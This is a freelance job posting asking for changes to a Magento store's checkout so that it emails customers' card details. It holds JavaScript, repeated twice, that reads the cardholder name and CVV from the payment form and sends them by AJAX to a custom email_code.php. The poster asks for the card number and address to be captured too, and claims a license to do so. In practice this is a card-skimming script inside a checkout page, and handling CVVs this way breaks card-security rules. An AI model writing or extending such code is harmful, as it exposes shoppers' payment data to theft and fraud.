
Recieve Customer details on email Magento
- or -
Post a project like this4494
£50(approx. $67)
- Posted:
- Proposals: 1
- Remote
- #221741
- Awarded
Description
Experience Level: Intermediate
My website needs to recieve customers details on email, the following code gives us: cvv number and customer name, we need to improve the code below to also recieve customers address and card number. (we hav ethe license to do so and no credit card catails should be in the databse AT ALL, because loads of people have access to that.)
The first problem we encountered is that on our File:
info.phtml -there is no line:
How can we get around it?
It follows the code to be improved:
STEPS
1. Open:
/app/design/frontend/base/default/template/checkout/onepage/review/info.phtml
(or the equivalent file in your theme folder, if it exists)
Find:
Replace above code with:
Find:
review = new Review(’’, ‘’, $(’checkout-agreements’));
Right underneath this, add:
function email_cvv() {
var name = document.getElementById("ccsave_cc_owner").value;
var code = document.getElementById("ccsave_cc_cid").value;
if (window.XMLHttpRequest)
{
var xmlhttp=new XMLHttpRequest();
}
else
{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("GET”,"/email_code.php?name=" + name + “&code;=” + code,true);
xmlhttp.send(null);
}
The steps above put the Name and CVV into javascript variables called “name” and “code” and then send these two pieces of information via AJAX to a file “email_code.php” which will be placed in your site’s root directory (eg example.com/email_code.php)
2. Create a new file named email_code.php and write in it:
3. Upload this file to your root directory (eg www.example.com/email_code.php)
The first problem we encountered is that on our File:
info.phtml -there is no line:
How can we get around it?
It follows the code to be improved:
STEPS
1. Open:
/app/design/frontend/base/default/template/checkout/onepage/review/info.phtml
(or the equivalent file in your theme folder, if it exists)
Find:
Replace above code with:
Find:
review = new Review(’’, ‘’, $(’checkout-agreements’));
Right underneath this, add:
function email_cvv() {
var name = document.getElementById("ccsave_cc_owner").value;
var code = document.getElementById("ccsave_cc_cid").value;
if (window.XMLHttpRequest)
{
var xmlhttp=new XMLHttpRequest();
}
else
{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("GET”,"/email_code.php?name=" + name + “&code;=” + code,true);
xmlhttp.send(null);
}
The steps above put the Name and CVV into javascript variables called “name” and “code” and then send these two pieces of information via AJAX to a file “email_code.php” which will be placed in your site’s root directory (eg example.com/email_code.php)
2. Create a new file named email_code.php and write in it:
3. Upload this file to your root directory (eg www.example.com/email_code.php)

W R.
0% (0)Projects Completed
-
Freelancers worked with
-
Projects awarded
50%
Last project
17 Jul 2025
United Kingdom
New Proposal
Login to your account and send a proposal now to get this project.
Log inClarification Board Ask a Question
-
There are no clarification messages.
We collect cookies to enable the proper functioning and security of our website, and to enhance your experience. By clicking on 'Accept All Cookies', you consent to the use of these cookies. You can change your 'Cookies Settings' at any time. For more information, please read ourCookie Policy
Cookie Settings
Accept All Cookies